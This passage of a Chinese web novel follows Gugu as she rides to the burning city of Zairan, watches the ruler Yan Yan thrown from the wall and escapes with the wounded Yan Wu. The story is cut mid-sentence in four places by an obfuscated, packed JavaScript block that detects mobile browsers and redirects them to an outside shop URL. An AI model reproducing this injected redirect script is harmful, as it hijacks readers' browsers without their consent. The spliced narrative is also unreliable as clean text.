钻出来后,她向谷道里零星的那几个住户看去。她记得昨天丁森把马车藏到了其中一户人家的背面,那房子离山很近,是个天然的隐蔽处。 她循着记忆来到了那间木房子后面,果然,在角落里发现了被拴在一根木桩上的黑马。它四条腿蜷缩着,趴在干燥的土地上,眼前摆着一盆饲料和水,只吃了一半。或许就是因为有水有吃的,它才在这里老实安分地待了这么久。 古古走过去,马儿乖顺地甩了一下尾巴。 “好孩子。”她摸了摸它的嘴巴,把夹板卸下来,让它脱离那累赘般的车身。做完这些,又绕到它侧面去,骑上马,拍拍马脖子,马儿便站了起来。 古古有骑马的经验,不过,以前骑的都是一些小矮马,毛很长,腿很短,就像她本人一样。那些小马是燕无特意为她买来的,他说人不能没有在马背上驰骋的经验,所以一有时间就带着她和她的那匹小马在甾染城外的旷野上撒欢奔跑。 她夹了一下马肚子,身下的生灵领受了她的意思,开始碎步颠了起来,带着她离开了这个木房后的角落。马儿越跑越快,最后变成一道虚影,一下子就穿过了外面那些围在瞭望塔下熙攘的人群,朝东边的山谷疾驰而去。 风中,她好像听见了苗烽的高喊,“欸,她跑了!” “在哪呢?”询问的后者听上去是丁森。 “你不是她的护卫吗?这都看不住!” 古古头也不回,风从她的面颊上无情地刮过。不知为何,她从刚才开始就有一种不好的预感,心跳开始大张旗鼓地宣告着存在,它时而漏跳一拍,时而又加剧,弄得她的脸色红一阵白一阵。她总觉得有什么大事要发生了,如果她不赶过去,不到那个人的身边,有些东西就会悄然从她身边离去,连抓也抓不着,看也再看不到。 呼啸的狂风刮过她的两鬓,她伏在黑马壮硕的脖子后面,眯起眼睛抵御着溅起的飞尘。四蹄前后交替踏地,马儿将她带到了白鸣谷之前,那一度挤满了逃亡者的关口中,现在只剩零星几个官兵在清理残局。 白鸣谷的画面只在眼前晃过了一瞬,她调转马头,向东行进,毅然朝甾染的方向而去。 飘散在黑夜中的浓烟愈发临近,越过一条条山脉的阻碍,终于,她在暗夜将明之时,看到了那座她生活了二十余年的城池。 它遍体鳞伤。 古老的城墙已然坍塌,其中的住宅七零八落,像有陨石从天而降,击毁了这座从未在战争中倒下的城池。 古古无法形容那是怎样的一幅画面,天是暗的,可大地在燃烧。仿佛天地倒置,她脚下的是残酷的烈阳,而天上的才是那沉寂的大地。 牧群在四散奔逃,有零星的城民在大地上奔走,士兵们在远处零散地集结。他们的身影是那么的渺茫,就仿佛是在铁锅里翻腾的油渣,怎么跑也逃不出漆黑的牢笼。 越往甾染的方向看去,土地便愈发乌黑,仿佛那大火也无法将它照亮。古古驾马往那一片暗色的地块奔袭,离得越近,她便越是能看清那地上似乎洗不净的污浊是什么。 那是人。一排排倒下的人。他们的亮甲已然暗淡,鲜血浸入大地,凝固成一层厚重的亡壳。 她勒马,闻到了空气中焦炭般的气味。四下都是残骸、残骸,她迷失了方向,去无可去。 就在这时,一伙人影进入了她的视野。她看到,南边离城池有一段距离的空地上,聚拢着一群甾染军装的士兵,他们的旗帜被焚去了一半,人数也稀少,可是,起码他们看起来还有纪律,不像是其他零散的士兵那样杂乱无序。 古古立刻驱马,向那群人的方向靠拢。城池里的浓烟飘散过来,她咳嗽着,没有让马匹减缓速度。临近了,她看到一个将军模样的人站在那群士兵的前方,那人高喊着,“再跟我冲锋!这次加快速度,让那些人没法用他们那武器瞄准!把一将军解救出来后,战局便会向我方倾倒!” 古古骑马过去的时候,那些人也看到了她,士兵敕令她停下,她唯恐造成什么误解,立刻将马停了下来。将军看见了马背上的人,不禁发出了一声疑惑:“这怎么有小孩啊?” 古古望过去,发现那是个不能说得上是熟人的熟人,那是最后才向甾染出兵的五将军。 “五将军,燕无在哪?”古古朝他问道。 五将军没有直接回话,而是打量了她一阵子。半晌,他像是终于回忆起来她是谁了,双目大睁,指着她说:“是你!内承大人身边的那个小女孩。” 古古已经顾不得这些人怎么称呼自己了,她没有收到对方的回答,再度问道:“将军,你看到燕无没有?” 得知是可以信任的人,五将军这才开始回答她的疑问,“不知道!我要是知道的话,就不会这么蒙头转向了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145531|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们身处农田的边缘,是距离甾染最近的一块耕地,离甾染城门大概有六七百步的距离。周围没有一点人烟,农民们该逃的都逃了,地上看上去寸草不生。此处原本是一处架构完善的农田,可是今年的长势实在可怜,田地里除了湿冷的泥土外什么也没有,又遭到大军的践踏,现在俨然已经是一滩烂泥了。 甾染的方向一片寂静,只有烈火在其中焚烧,却不见一丝生命存在的迹象。遥望着那未曾被她喜欢过的家园,见它在燃烧,这滋味也说不上有多好受。 另一边,五将军对士兵们再度发话,高举他的长刀,一副必胜的模样,“听我指令——” 他话没说完,一阵诡异的响动打断了他。那声音从甾染的方向传来,将士们纷纷看去,只见城门口附近依然挺立的城墙上出现了一排人影,他们均穿着薄薄一层单衣,在高处抱着自己,瑟瑟发抖。 距离太远,古古看不清人们的脸,只能辨析出轮廓。在那些人当中,走出来了一个女人,她身型高挑,似是穿着一件坠地长裙,身上的衣物就和她身边所有人一样廖廖无几,可她却完全感受不到严寒一般。 在这片充满了血与浓烟的战场上,传来了一个陌生女人的声音。她站在城墙上,手里拿着个圆锥形的器物,没有咆哮,说话似乎毫不费力,可是,她的声音却能传去很远,以致于战场上每个人都能听到。 “战场上的各位将士,初次见面,我是黎礼,当今血皑之主。” 古古听到这个名字,不由震惊,“她说她是谁!?” 五将军皱起眉,粗糙的五官拧在一起,“谁是黎礼?” 黎礼站在城墙之上,风吹起她的裙摆,她睥睨着墙下的众人,仿佛那下面的都是应臣服于她的子民一般。 “抵抗的行为是无用的。不想见到更多的伤亡,就把人交出来,或者与你们的领袖一同去死。” 她只说到这里,而后,就没有更多的话传来了。 古古盯着城墙上女人的影子,她怎么也想不到,那居然是血皑城的黎礼。这段日子,听了许多有关血皑当中发生的事,她对于它的现状有一些模糊的了解,自然,也知道黎礼究竟是个什么人。 也就是说,攻击甾染的,是那个一度篡夺了血皑政权的女人。那个名叫杜光欧的王室曾经警告过他们,叫他们不要掉以轻心,可那时,他们都没有放在心上。毕竟,谁能想到,一个此前默默无闻的城主夫人,竟摇身一变成为一个侵略者,在一夜之间摧毁了一座百年的城池。没人能够相信这种事,即使是现在,古古也难以相信眼前所见的一切。 “靠!她在打一军的主意!”五将军喊道,手指着城墙下方不远的地方。 古古顺着他所指的方向望过去,只见在一片浓烟之中,聚集着一小撮人,那些人的衣装鲜明,上身是赤血一般的盔甲,下身是洁如初雪的军裤白裳。这些红白军装的人形成一个包围圈,似乎将什么人困在了其中。 119. 围城3 还没等辨清是怎么回事,突然,破败的城墙上又传来了动静,一声惨叫由上至下,啪的一声截断在泥土里。 五将军见状,不明地问:“这是在干什么!?” 他身后有一个士兵回答道:“那些是甾染的官员们,敌人正在把他们推下城墙!” 五将军瞪大了眼,骂道:“娘的,这群疯子!” 惨叫声不时传来,像是一种无言的危胁,如果不按照女人所说,放弃抵抗的话,还会有更多的人因此惨死。 但是即便如此,另一边,一军所在的包围圈中仍然没有什么动静,那抗拒的态度仿佛在说,即便黎军把全城的人都推下去,他们也不会向践踏甾染的人投降。 不久,城墙上又出现了一个身影,那是一个男人,身形高大,姿态潇洒。然而,与其傲然态度截然不同地,他的双手似乎被束缚住了,背在身后,身体也别扭地向一侧倾斜着,像是一条腿受了伤。再定睛一看,男人只穿了一件破布衫,身体在高耸的城墙上摇摆不定。 古古盯着城墙上的那人,脸色渐渐泛白。尽管她辨别不清城墙上的人脸,但是,那个男人的身影,她不会认错。那是当今甾染名义上的最高掌权者,武王燕雁。 五将军看到了那城墙上的人,声音撕裂,痛呼着,“武王——!!” 怎么会这样,连武王都…… 见到那个曾意气风发的征服者,古古不禁感到一阵绝望。虽然早已在外部看出城池的失守,可是,只有当身处最高王城的武王都被拖出来,在这城墙上示众,她这才第一次深刻地意识到,甾染已经完全沦陷了。 城墙上的人影有了动作,两个红白军装的人站在武王的身后,似乎就打算这么把他推下城墙。然而,武王身影一晃,没让他们得逞,他像条灵活的鱼,一下子窜到一旁,往那衣装华贵的女人扑去。只是,他没得手,很快就被身后的人压制住了。燕雁挣扎着,咆哮声借由黎礼手中的器物传来—— “跑啊!!傻小子,木讷脑袋,这明显打不过,僵持着干什么!” 红白军装的人将他从黎礼的身边拖走,远离了那能放大声音的器物,非人声的噪响逐渐消弭,取而代之地,战场上回荡着属于男人原本的豪烈音色,“跑啊!你不总想跑吗?就现在,跑!别回来了!!” 狂乱的武王紧盯着战场,目光落在一军所在之处,像是在对某个特定的人呐喊。 不消片刻,古古反应了过来。她知道武王在对谁喊话了。在男人目光紧盯着的方向,燕无就在那里。 城墙上,燕雁坠了下来。 冷风撕裂单薄的衣裳,灰白的发丝在空中作舞,黎明的第一缕光线打在他下坠的方向,像开启一条步往云端的通路。他在狂笑,笑声是他留给这场战争的结语。 “老战友,我来见你们了!” 一只离群的候鸟飞过天际,尾翼划开一片泛白的初幕,又消失在了山川的另一边。光线在大地上开始流淌,照亮了昨日持续整晚的暴行。 战场上的甾染士兵们陷入一时的沉寂,他们无一不面向倾颓的城墙,见证着时代的陨落。 古古听到一丝隐蔽的钝响,那像是将皮革拧紧的磨擦。紧接着,她感觉到了一阵躁动,那不是属于她自己的,而是由周围的人群感染而来。 她望过去,只见五军的士兵立于原地,阵阵低沉的气压袭来,让人喘不上气。他们似乎仍未有退意,依然仇视着夺去他们家园的敌人,依然愤怒。 “妈的……”五将军低声骂道,他神色不善,整张脸上都是阴霾,连日光也照不亮。马匹在他的身下不安地踏步,像也感受到了主人的暴躁,“和他们拼了!” 倏然,将军猛抬长刀,旗帜高举,他再度吼道:“给我冲!跟他们绝一死战——!!” 那一声并不规范的令下,五军将士高喊冲锋,向包围圈中的一军而去。 军队气势汹汹,古古当即踢马让路。 只见士兵们如一注细长的水流,刺向一军外部的包围圈。此时,又有那震耳的暴破声响起,古古知道,是敌人又开始使用那能杀人于无形的武器了。红白衣装的敌军一致对外,他们举起那木制铁边的长管武器,用尖端对准了冲锋的甾染士兵。前排将士毫无预召地翻倒,哗啦一下,头部的先锋溃如决堤。 死者静默,但生者前赴后继。五将军在外周奔走迂回,向还存活的士兵下令,“分散!再逼近!!” 甾染士兵没有停下,那注刺向包围圈的水流生生不息,由溪流裂变成江河,像巨树的根茎一样形成包围之包围。 不知为何,距离越近,那种远程的武器就好像越是不起作用了,暴鸣声越来越稀疏,其最初带来的震摄气势也一并减弱。甾染士兵最终把包围圈撕开了一个缺口,这缺口一开,就再也关不上了。 敌军仗着那种远程武器的压迫,实际上近战实力并不强劲,与面前这些生于甾染的战士有着云泥之别。他们没有战马,没有精湛的技艺,不懂如何拼死厮杀,也不知道仇恨的怒火会将一个战士变成何种模样。 在势必要灭绝对方的怒吼声中,那些红白衣装的敌军就像是稻草,被马车的车轮辗过,陡然间成片倾倒。 碍眼的红色褪去,终于,包围圈中的人影显露了出来。古古只听五将军高喊了一声“大人”,她当即像触电一般,不管那处是否还有活跃的敌军,当即驱马,向那战场正中奔袭。 燕无在那里,燕无一定就在那里。 她脑海里只剩一个想法,那就是快点见到他。 簇拥在一起的一军脱离了包围,与五军一同歼灭溃散的敌军。那之后,一军将军持刀回撤,在一众将士之中半跪于地,像是在对什么人说话。 古古策马临近,只见一军情况略显惨烈,士兵们身上大多挂着血,面色都十分凝重,即便被五军救出,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153134|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎也没有多少得救的喜悦之情。 “坚持住!”一个士兵扶着倒下的同伴,后者身上没有明显的伤痕,但是眼神却涣散,身前的盔甲开了个洞,有源源不断的血从里面渗出来。 古古骑马经过他们身边的时候,听到了那倒下的士兵有气无力的呢喃,那声音带着痛惜与不甘,“武王,带领我们……” “武王会引领我们。”扶着伤者的士兵说,“内承会引领我们,所以你坚持住!” 再往里跑,能够看到一个更紧促的人墙,在那人墙之中,有一个身影坐在地面上。那是燕无,他的长剑随意地丢在一旁,头盔卸了下来被抓在手里,另一只手拄着额头,头低垂着,一掌长的直发如挂帘般下坠,掩住了他的面庞。而一将军蹲在燕无的面前,老将在说着些什么,但内承没有反应。从古古的方向看去,一将军脸上是一筹莫展的神情。 古古跳下对她来说有些高大的黑马,踉跄了两步,飞扑到燕无的身边。士兵没有阻拦她,在五军的帮助下,他们已经清剿了周围的敌军,暂时放下了警戒。何况,在这生死一瞬之地,古古只是个手无寸铁的弱小女人,明显不是这残酷战争的参与者。 她跪在燕无的身侧,砂石划过手掌,可她浑然不觉。古古紧张地盯着男人,声音急迫,问道:“燕无,你怎么样?” 男人没有回应。他如一尊雕像一样坐在那里,只有风带动他的两鬓,除此以外,整个人都是静止的。 “燕无……?”她再问,可是依然没有响应。 一旁,一将军神色凝重,说道:“自从武王从城墙上……” 将军说了一半,突然一顿,看了眼燕无。像是怕刺激到对方一般,后半段没有继续说下去,而是道:“那之后,内承就不说话了。” 古古心里绞了一下,她理解燕无此刻正在经历什么。即便是那样的父亲,也依然是一个无法取代的家人,就算因种种不和而不愿相见,也不会希望惨死就是对方的结局。 这时候,五将军也风风火火赶了过来,大声嚷道:“一将军,我们要赶紧组织撤退!对方的远程武器还在,随时可能从城墙上发动突袭!” 被传呼的人望向城墙,模样并不急迫,“不,这个距离,他们打不到我们。” “怎么保证?!”五将军大声问。 他语气冲动了些,收获了一将军一个凌厉的视线。但老将未与年轻人计较,目光投向城墙下方。那里倒着成排的将士,他们的血在墙根处最浓,越向外,就越不着色。那深红的痕迹逐渐淡成大地原本的苍黄,又经初晨一照,变成一幅渐变的凋零油画。 一将军道:“看那,死去的将士们已经为我们探出了那种武器的极限。两百米。” 两百米内,生灵涂炭。 五将军也望过去,一股血腥之气被风吹来,他魁梧的身躯一时有些凝固。半晌,他问道:“其他人……都不在了吗?” 120. 围城4 一将军:“我等首次攻城时,敌军并未立刻展示他们的武器。直到临近城池后,他们才开始攻击。爆破声不断,地面一度变为沸腾的煮水,将士们在血泊中倒地。那一次进攻,我方损伤惨重,三将军不幸阵亡。二将军势要为其报仇,重整后带二军再攻,全灭。内承与我带着余下的残部撤离,被敌军出城拦截,陷入苦战。然后,五将军,你就来了。” 老将轻描淡写,将昨夜发生的一切娓娓道来,每句话下都埋藏着无数将士的骸骨。 “敌军不光有那种强大的武器。”老将说道,他扬头,用下巴尖指了一下燃火的城池,“看到那最上方倾颓的王城了吗?能将坚实的城墙粉碎成那样的东西可不多。照这个情势来看,城里的四军和六军恐怕也凶多吉少了。” “操他娘的这群王八蛋!”五将军破口大骂,踢了一脚砂土,石子四下翻飞,“豁出去了,跟他们拼命!” 一将军冷静地看着对方,“不要心急。” “怎么能不急?弟兄们叫那帮王八蛋都杀了,我要去为他们报仇雪恨!” “……”一将军沉默了片刻,没有再出言制止年轻人,转而道,“正面对抗的胜算很小,只有迂回作战还有一丝扳回局势的可能性。” 说到这里,老将的视线一转,落在眼前无言已久的人身上,“内承,属下有一想法。我军既已处于劣势,那么便就此撤离,给敌军制造溃逃的假象。那之后,应暗中转移至甾染上方的山顶,利用高低落差发动奇袭。” 五将军听闻,眼睛一亮,一拍脑袋,“对啊,我怎么没想到!内承大人,我愿担任先锋之职!在山顶上,不管是投石还是放冷箭,我定将那些孙子打个屁滚尿流!” 两个将军先后请令,然而,他们面前的内承还是垂着头,像睡着了一样,一言不发。 一将军躬下身子,离近了再道:“内承,趁现在士兵们的战意还未消亡,我们应当立刻动身,耽误不得。” “大人!”五将军也凑过来,“请您下令!” 古古紧张地看着眼前的燕无,男人还是那副毫无响应的模样,侧颊的线条像是刻在石壁上的痕迹,风吹雨打也不见变化。 静默了半晌,一将军后退了半步,双手在前,行了一个大礼,“属下不能对自己的将士们不负责,逾矩了。” 言毕,老将起身,凛然环视,对其将士高喊,“还有余力的人,跟上我!负伤者向南部撤退!” 五将军见状,紧随其后喊道:“跟上一军步伐,动身!” 两只军队一度混乱交织,又很快集结成型,军流如鞭绳一般紧致有力,往山城南部窜去。 在这大军的正中央,古古眼见众将士如潮水般退去。片刻后,土黄的战场上,只剩下她与燕无二人,以及直属于内承的数十卫兵。 “他们走了……”古古远望着一军和五军离去的背影,说道。她碰了碰燕无的肩膀,指尖下是冰冷的铠甲,“燕无,振作一点,我们最好先离开,这里离甾染太近了,随时可能有——” “对不起。”突然,那个始终沉默的人开口了。他依然是先前那副姿势,动也没动,像是被什么打败了一般,如何也抬不起头来。 古古一滞,看对方的模样,不像是在对她说话。她晃了晃他的肩,试图唤醒没有反应的人,“燕无,起来,我们走吧。” 男人的不理睬仍在继续,他虽然开口,说话的对象却不是眼前的人。他就像一个只会发出特定声响的木偶,又重复说了一遍,“对不起。” 就在古古打算劝些什么的时候,城门口传来了一阵马蹄声。她抬头看去,只见从甾染的方向跑来一排铁骑,下面是甾染的战马,上面却是那些红白衣装的敌军。 古古心下一惊。敌军又派出人手了! 周围所剩无几的卫兵反应迅速,无需命令,当即集结,向敌军的方向对冲而去。可是两方人数相差明显,结局在最初便已注定。 “燕无,起来啊!”古古向眼前的人大喊,对方依旧没回应。她伸手擒住对方的上臂,咬着牙,使出全身的力气,试图将男人从地面上拽起来。对方身上穿着厚重的盔甲,硌得她手臂生疼,但她无暇在意,“为什么什么也不做?将军们都走了,你原本应该率领他们的!” 她一鼓作气,将男人的上身扛在自己肩上,沉重的压力让人直不起背来,双腿在失力地发颤。燕无似乎把全身的重量都交了出来,不管扛着他的是否是一个身型瘦小的女人。 古古不敢有一丝懈怠,和背上的重量较着劲,同时不忘说道:“不管发生了什么,行动起来!没人放弃,你也不要放弃!” 叮咣。 身下传来一连串响声。古古向脚下看去,一个头盔骨碌碌滚到她的眼前,卡进了一个土坑里。那是燕无的头盔,不久前它还被男人抓在手里。 “你怎么连自己的头盔也抓不住……”古古说道。她往身侧投去视线,想看清燕无的脸。可是,不看不要紧,这一看,一瞬间血都凉了。 男人的脸上,一点活人的生气都没有。他的脸色惨白,皮肤几近透明,浮现出下面条条曲折的青色经脉。他眼睑半阖,目光涣散,像是已经看不清眼前的事物一般。嘴唇微张,一串血迹挂在嘴角,已经凝固了有一阵了。这些所有的迹象都被他稍长的发帘掩示,一直不为人所见。 古古从来没有见过男人这样,声音不自觉颤抖起来,“燕无,你这是怎么了?” 她的目光向下看去,看了半天,才在他下腹部的盔甲上看出一丝异常,那里有一个豁开的洞,没有血,很难觉察。如果是在曾经,她不会觉得这有什么,但是现在见识到了敌人的武器之后,这样的伤情无法让她掉以轻心。 “燕无,你被击中了吗?”她问,只是依旧无法从男人那里得到回应。 “大人——!” 就在这时,古古听到了一个熟悉的声音,她奋力抬头,只见两骑快马正在向她赶来,那上面坐着的分别是丁森和苗锋。 是他们,他们赶过来了! 看到那两人的身影,古古不由得感到一阵激动,还有些难为情。刚刚明明是她觉得他们碍手碍脚,所以甩开了他们,可他们还是持之以恒地追上来。现在古古才意识到自己有多需要他们。 她大声朝他们喊道:“燕无受伤了,带我们离开!” 话音刚落,只听背后传来几声暴响,有什么东西砸在他们脚边,溅起尘土与石砾。回过头去,看到红白军装的铁骑如阴云一般压来,先前出动的内承的卫兵已经全线阵亡了。 这时,苗烽骑马而至,强壮的女人一把拉过古古刚才所骑的黑马,马儿受惊地嘶鸣了一声。还未等身下的马匹停稳,她借惯性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165224|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下马,靠绑腿的皮制长靴磨擦停下。下一刻,古古只觉得身上一下子轻松了。苗烽一手把燕无提起来,像运货一样把他抗在肩上,一个肩顶将他送到黑马背上。与此同时,赶来的丁森也将古古抱起来,送上那匹载着他们逃亡已久的黑马上。燕无靠在古古的背后,整个人的重量压上来,古古只觉得对方的盔甲某处似乎抵在了自己的腰上,像一把钝刀,但她依然无暇顾及。 “在前面跑!向南!”苗锋扯着嗓子喊道。 古古不敢有所怠慢,立刻驱马前进。可余光却见到丁森掉转马头,擒着一面木盾,毅然往相反的方向驰去。她回头,望向下人远去的身影,“丁森?!” 苗烽骑马紧随古古的身后,喊道:“别停!他去吸引注意了!” 黑马似是感受到了众人的急迫,顿时以狂速奔驰起来。凛风当即扑面而来,古古艰难地睁着眼,趴在马背上。身后不时传来没有规律的爆响,敌军仍在后方追击。不知道丁森怎么样了,可她不能回头,不能放过这好不容易得来的逃命机会。 他们一路向南,来到了甾染的南部关隘,遥见有大军在该地停留,那是一度撤退的一军和五军。两名将军站在最外围,似乎在商讨着接下来的计划。 马匹像水滴般融入大军,在一众将士的注视下,它缓步穿过。古古和一将军对上了视线,老将的视线锐利,一眼盯住了古古身后的人。那是他们的领导者,甾染的内承,也是应该在此刻和众将士一同对抗外敌的人。在燕雁已死的当下,只剩这个奄奄一息的人拥有率领全军的最高权力。 五将军见到了燕无,高喊道:“内承大人来了!大人,我们上山刻不容缓!” 她应该停下来,把他还给他们吗? 古古看着那些伤痕累累的、满怀恨意的甾染士兵。怒意灌溉了伤口,让它们重新长出了血肉来,仿佛在所有敌人灭绝之前,他们不会停下,这就要求他们的统率者必须有着和他们相同的觉悟。 可是,当下的情况,即使是没有打仗经验的古古也能看出来,这些甾染士兵奔赴的是一条没有未来的道路,他们的胜利近乎无望。不管是今年,明年,十年后,或许是一辈子,他们都无法再回到故乡中去。要率领这样一群人,其领导者也将付出自己的一切。 可是,燕无已经做得够多了。古古想。为了这座无人钟情的城池,他曾在许多个选择的节点放弃过自己的一切。 想到这里,古古和一将军错开了视线,表达的意思很明确,她已经下定了决心,她不会停留,也不会把身后的男人还给甾染。 身后响起了阵阵马蹄,回过头去,眼见敌军尾随而来,不知疲倦。就在这个时候,古古听到了一声怒吼,那是一将军的声音,“拦住追兵!守住这个关口!” 甾染大军开始行动,形成一道密集的墙,将敌军追兵与古古等人分割开来。一将军的背影挺立,沉默无言。 就在这时,古古感觉身下一颤。苗烽拉了一把她跨下的黑马,强壮的女人说道:“那老将军是要掩护你们走的意思。” 苗烽扯着黑马的缰绳,褐色的手臂好似铜墙铁壁一般,女人骑着自己的那匹马,把两匹马拉近了,她褐色的眸子盯着古古身后的燕无,目光十分地深沉,“原谅他吧。” 苗烽不知是对谁说了这么一句,声音很轻,像是在自言自语。 121. 不敢言说的真相1 她很快收起那凝望的视线,伸腿踢了一脚黑马,马儿抬蹄嘶鸣,当即就要起步。 “跑吧!”苗烽说。 马儿颠了起来,古古回过身去,看着留在原地的强壮女人,问道:“你呢!?” 苗烽策马回身,留给古古一个背影,“也许你那个小护卫还活着,刚才把他丢下了,我去把他捡回来!” 说着,样貌狂野的女人混进了甾染的大军之中。 黑马在急弛,甾染人与他们的王渐行渐远,也和自己的敌人决一死战。 古古操控着马匹,让它尽快远离战场,硝烟的味道淡去,嘈杂也越来越远。那些将士们的怒吼、长管武器的巨响,以及兵刃交接的铿锵声,仿佛都变成了过去,被他们远远甩在了身后。 战争摧毁了田野,附近的居民也四散而逃。马儿沿着山谷奔跑,然而,操控它的人其实并不知道目标在哪里。突如其来的战争改变了一切,原本她在甾染安稳地生活,偶然出城去查看作物的长势,可没人能预先知道,那一次离开,意味着永别。不知道荣光街怎么样了,家蕴姐和林婆婆有没有事,将来可能没机会再见了。 古古几乎没怎们出过甾染,只在地图上见过外面的世界,这是她第一次离家这么远,甚至不知道最近的村落在什么方位。尽管她掌握着甾染的经济命脉,知晓这附近向他们纳贡的村落和城镇有哪些,可是,她并不清楚它们具体的方位。 现在燕无的情况很差,她不知道男人究竟哪里受了伤,只知道他已经很久没有再说话,呼吸也很微弱。当务之急是寻找一个能救命的地方,再拖下去,她怕燕无就坚不住了。早知道这样,刚才问问将军或者苗烽哪里有村子或者城镇就好了。 就在她四下寻找可能有人居住的地方时,身后响起了马蹄声。古古回头望去,只见两个黑影追了上来,正在急速逼近她和燕无所骑的黑马。 怎么还有追兵! 古古心下一紧,这里荒无人烟,一个人的影子都没有,甾染士兵和她的护卫都留在关隘了,现在没有任何人能帮她。 怎么办,肯定不能正面对敌,燕无还在昏迷之中,而自己一点战斗力也没有! 可是马蹄声越来越近了,追兵的马好快,怎么会这样,声音听起来好近。是她的错觉吗,它们好像已经追上来了,溅起砂尘的马蹄听上去只有一个身位远。 “驾!驾——!”她催促马匹,手在颤抖。 马上就要被追上了,怎么办。究竟该怎么办。 她听到马蹄声已经来到了身侧,惊恐地转过头去,看到一个男人在和她并驾而行。那是一个高大的男人,披着藏蓝色斗篷,腰侧携带一把碧鞘剑,他扶着自己的兜帽,对古古说道:“喊了好几遍了,快点停下!” 古古一愣,对方的穿着不像是黎军追兵,而且,从他的话语听来,他应该是在追逐的过程中和古古说过话。不过,古古什么也没听到,刚才的风太大,她注意力又紧张,除了那渗人的马蹄声以外,她耳朵里什么也没有。 男人掀开了兜帽,露出一张在古古看来有些眼熟的脸,他喊道:“还想要那小子活命的话就赶紧停!” 这时候,另一匹马也追了上来,驾马者是一个神情急迫的男人,身穿御寒的衣物,似乎在冰天雪地里跑了很久,鼻尖都是通红的。他也喊道:“古古,让我们看看燕无的情况!” 看到追来的第二匹马上的人,古古的心一下子踏实地落回肚子里。那人是燕戎陵,燕无的大哥。 没时间思考这人为什么会出现在这里,看到熟悉的身影,古古拉紧缰绳,让狂奔的马渐渐停下了步伐。另一旁,那个拥有和燕无相似面容的男人也停马跃下,他样貌看上去比燕戎陵年轻,又比燕无多了几分成熟,此刻正一脸严肃地扯开马背上盖着的藏蓝布帘,将一个巨大的木匣子露出来,男人清润且迅急的声音传来,“把人放平,盔甲解开,在我说下一步应该做什么之前不要动他。” 大哥燕戎陵按对方所说,将燕无从马上卸了下来,放在砂石地上,又开始解他的盔甲。古古也挣扎着从高大的马匹上跳下来,第一件事就是趴到燕无的身边查看他的情况。男人仰躺着,双眸紧闭,盔甲被剥掉,下面的衣物已经被鲜血浸满、凝固。 身披藏蓝斗篷的人从马背上取下木匣,打开,那里面有大大小小的瓶罐,有银针,还有止血的纱带。他剪开了燕无的衣物,按压伤口周围的肌肉,手法看起来十分地熟练。 燕无痛吟了一声,依然没有醒来。 男人收回了手,向一旁的木匣中翻找,道:“有东西留在身体里了,不能直接缝合。我先保住他的性命,后面再带去医馆治疗。” 男人如此说着,从木匣里拿出纱带和一包黑乎乎的药材。燕戎陵十分配合地取了水袋过来,那和燕家人有着相似容貌的男人接过来,一手捏住燕无的脸,一手将药材和水灌了进去,他顺着负伤者的食管按了几下,喉咙做出吞咽的动作,昏迷的人将嘴里的东西咽了下去。 男人整套动作行云流水,手上没有一丝犹豫,脸上也是一副游刃有余的模样。古古在一旁观察着他的动作,几次闪过针对对方身份的猜测,但都被对燕无伤情的担忧所淹没。 男人为燕无做了最后的包扎处理,又把御寒的衣物套回伤员的身上,还是用那副仿佛山间溪水一般的清润嗓音对燕戎陵说:“哥,你上那匹跑得稳的马带他。我去前面引路。” 他说罢,动作迅速地将一地的杂物收回木匣,挂在马背上。另一边,燕戎陵将自己的四弟架起来,但那好歹也是个大活人,想避开伤口的同时将他平稳地运上马显然有些吃力。古古见状,凑过去,用自己矮小的双肩奋力抗起伤员的腿。两人合力将燕无缓缓地抬上了马,燕戎陵紧随其后翻身而上。那是匹略显低矮但强壮的马,撑起两个身材高大的男人也不显吃力。 古古抬头,看着马背上整装待发的燕戎陵,忧心忡忡地说:“我们已经不能回甾染了。” “嗯,城外发生的事,我们在山顶上看到了。”燕戎陵说。他沉着地回望了一眼古古骑的黑马,对她道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178760|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟上我们。戎铭熟悉这附近,他知道最近的镇子在哪。” 